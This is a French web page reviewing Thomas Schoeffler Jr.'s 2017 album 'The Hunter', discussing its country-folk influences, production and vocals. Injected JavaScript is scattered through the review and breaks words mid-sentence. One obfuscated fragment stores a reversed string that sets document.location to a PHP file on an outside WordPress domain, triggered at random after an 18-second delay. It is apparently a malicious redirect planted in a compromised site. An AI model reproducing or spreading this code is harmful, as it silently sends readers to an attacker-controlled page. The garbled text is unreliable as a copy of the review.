© Bardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosch Salmanski
Cet album très varié, entre country, folk et rock, passe même par le post-punk. Bon, comme d'habitude, les artistes français ont du mal à s'affranchir de leurs références. Celles-ci peuvent parfois être tellement visibles, ostensibles, qu'on est gêné par tant de promiscuité. Ici, 16 Horsepower (la superbe épopée country-rock Hips & Lips), Là Joy Division -dans la même dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonalité que ses compatriotes d'Hoboken Division- (Sauerkraut)...
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andcamp.com/EmbeddedPlayer/album=3697949550/size=small/bgcol=ffffff/linkcol=0687f5/track=4055618051/transparent=true/" width="300" height="150" seamless="">$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andcamp.com/album/the-hunter">The Hunter by Thomas Schoeffler Jr
Et la plupart des morceaux nous rappellent inévitablement quelque chose, ce qui au premier abord nous empêche de nous plonger, pleinement, dans sa musique. De creuser au plus profond et d'en ressortir son cœur. C'est aussi le problème du one-man-bdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, plus de liberté mais moins de latitude.
A côté de ça, la production est parfaite, les instrumentations sont équilibrées, c'est méticuleux, propre et sans bavure... Du coup, on comprend d'autant moins le traitement sonore de son chant. Comme dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours, Thomas Schoeffler Jr. choisit de le rendre très brut et de le mettre clairement en avant. Probablement pour en révéler son honnêteté, mais qui, malheureusement, souligne plutôt le manque de relief et de densité dans sa voix... apparaissant ainsi limitée. Il y a quelque chose d'aimable à cela, et quelque chose de dérangeant.
Mais on sent qu'il éprouve une profonde affection, érudite, pour la musique nord-américaine. Et, après une première écoute déconcertante, on réussit à mettre dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ça de côté. On arrive à découvrir quelque chose d'autre. Et en écoutant la chanson country I Should Have Known, on se laisser porter.
Au final, c'est lorsqu'il se défait du carcan "folksong" que sa musique devient plus intéressante. Et qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and elle est désespérée, fatale, lancinante. Comme sur le sombre final électrisé de My Baby Kissed me Farewell, ou bien sur The Hunter, longue ballade tendue, ainsi que sur le dernier morceau, d'une tristesse infinie, You've got dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Love Me Better Than I Did. Où on apprivoise enfin sa musique, qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and elle se présente dans son plus simple appareil.
Il n'y a donc plus qu'à espérer que le monde devienne encore plus misérable, de manière à ce que Thomas Schoeffler Jr. sorte enfin ses entrailles dégueulasses à la face du monde. On y est presque.
Thomas Schoeffler Jr. The Hunter Sauerkraut Records / Hell Prod 2017
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